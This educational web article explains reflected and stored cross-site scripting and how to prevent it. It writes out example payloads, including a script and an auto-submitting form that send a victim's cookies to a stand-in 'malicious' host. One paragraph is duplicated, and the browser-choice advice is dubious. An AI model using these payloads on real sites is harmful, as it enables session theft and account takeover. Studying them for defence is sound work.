in ,

XSS Decomposed – Community Project

XSS Turgen

In this article, we will provide a constantly evolving flowchart for the process of testing for XSS that is continually developed as a community project. Additionally, we will explore some testing basics and examine different mitigation methods employed by web browsers to prevent those types of attacks.

Cloud Edit Link – https://drive.google.com/open?id=1mXVKVj7H05GJaYQU4IhUTbE-EE06jNmh

Cross-Site Scripting (XSS) or cross-site command execution is one of the most common vulnerabilities in Web Applications to date and has been a consistent member of the ‘OWASP Top 10’. In this entry will focus on how it works, how it affects its victims and how to prevent it.

How does XSS work?

To understand what an XSS vulnerability is and how it works it is important to understand how Javascript works -XSS attacks are not exclusive to Javascript but it is the most common attack by far. Javascript is a scripting language as opposed to compiled languages like C and Go, to mention the most popular ones. Javascript is directly interpreted and ran into the web browser of the person visiting the page.

For this reason an XSS attack rarely leads to RCE (Remote Code Execution) on the web server being targeted, however taking over admin accounts can in some specific circumstances lead to RCE.An example of such a scenario would be a WordPress administrator account being taken over, the attacker could then use the administrator account to upload a malicious php file into the server and execute it, compromising the entire machine hosting the website. In less extreme cases, XSS attacks can lead to data being stolen or executing malicious actions in the name of a user, this could be particularly critical if the website is a bank – as the attacker could craft a payload to transfer himself funds.

Now that we know that such attacks can lead to major data leaks and even RCE in the worst cases, how do we prevent them ?XSS vulnerabilities like SQL injection attacks come from a very simple flaw which is trusting the user input or improper sanitization of it. It is very important when working on web applications and in general when working with untrusted input to sanitize it (transform potential code that will be executed into harmless text). This is done by removing special characters from the user input before using it in the page.

There are different types of XSS vulnerabilities, in the next sections we will be explaining the different attacks and how they can be mitigated.

Types of Cross Site Scripting

Reflected XSS

This type of attack is the most common one, this consists in altering the data being sent to the web application. The attack scenario scenario differs depending on how the data are being sent to the web server. We will start with the simplest cast : the datas are transmitted with a GET. For example a bank may decide to use the following request to transfer funds : https://vulnerable.com/client.php?Founds=100&TransferTo=123456789

In this fictional scenario the Founds value is used to determine how much is going to be sent and the TransferTo variable contains the ID of the person to send the money to. Now if those parameters happened to be vulnerable the injection of code would happen in this form : https://vulnerable.com/client.php?Founds=100&TransferTo=<script>alert(1)</script>

And the expected result :

This payload is of course very benign as it would just open an alert box we could instead make compromising actions such as executing actions on the behalf of the user or stealing cookies to gain access to the account.

The following payload could be used to steal the cookies of the user :

https://vulnerable.com/client.php?Funds=100&TransferTo=<script language= "JavaScript">document.location='http://malicious/cookiestealer.php?c='+document.cookie; </script>

This would lead the user to visit the malicious page while sending his cookies to it. Such an attack can be disguised with social engineering by masking the malicious URL and sending it to the user.

The attack gets slightly more complex if the data are sent using POST. In this case we cannot simply modify the variables in the URL and then send it to the target. There is however a way to get around this is to create a malicious page that will automatically submit our payload to the website.

A quick summary of the attack would be :

Send a malicious page controlled by us to the victim, for example : https://attacker.com/attack.php

When the person visits this links a script will submit our XSS payload without the user being notified. It is even possible to redirect the user to another website to mask the attack. The XSS will then send the victim cookies to our web server. We can then replicate the cookies and gain access to the account.

Example of payload the attacker could use in his website to trigger the POST request :

<form action="http://vulnerable.com/client.php" method="post" onload="this.submit()">
document.location='http://malicious/cookiestealer.ph?c='+document.cookie; " name="TransferTo">

Take note of the “onload=”this.submit()”, this will cause the attack to be executed as soon as the page loads.

Stored Cross Site Scripting

The main difference between a reflected and a stored XSS attack is that the actual payload will be integrated into the page in the case of stored XSS. For example in a WordPress environment, WordPress allows users to enter HTML tags in their comments, in the case of an improper sanitization the XSS payload will be uploaded to the server.

The comment will then be integrated to the page of the article and will be triggered by every user visiting the page.

This kind of vulnerability can affect a lot more users. Coming back to our administrator account take over scenario, this type of XSS could allow an attacker to wait for admin to visit the page to steal his cookies and gain access. In the case of WordPress this would result in a RCE as the CMS allows administrators to upload arbitrary php files.

This kind of vulnerability can affect a lot more users. Coming back to our administrator account take over scenario, this type of XSS could allow an attacker to wait for admin to visit the page to steal his cookies and gain access. In the case of WordPress this would result in a RCE as the CMS allows administrators to upload arbitrary php files.

How to avoid being a victim of XSS? 

The first point to consider as always is human security it is always good to look at the URL you are accessing. This is something that can be made extremely difficult with the existence of openredirect vulnerabilities in well known domains (e.g google.com), however solutions do exist to deal with this problem.

Finally, this isn’t really a security policy as such, but using a less common browser such as Opera, Comodo or Chromium, will reduce your chances of being exploited by XSS. This is as many serious XSS enabled exploits look to take advantage of a particular browser in order to break out of the browser sandbox and gain a higher degree of control over the system. Most modern browsers also include an XSS auditor in an attempt to detect such attacks and block them before they end up being executed.

Backdooring Executables

How to Backdoor Portable Executables with Shellter

zero day

An Introduction to Zero Day Exploits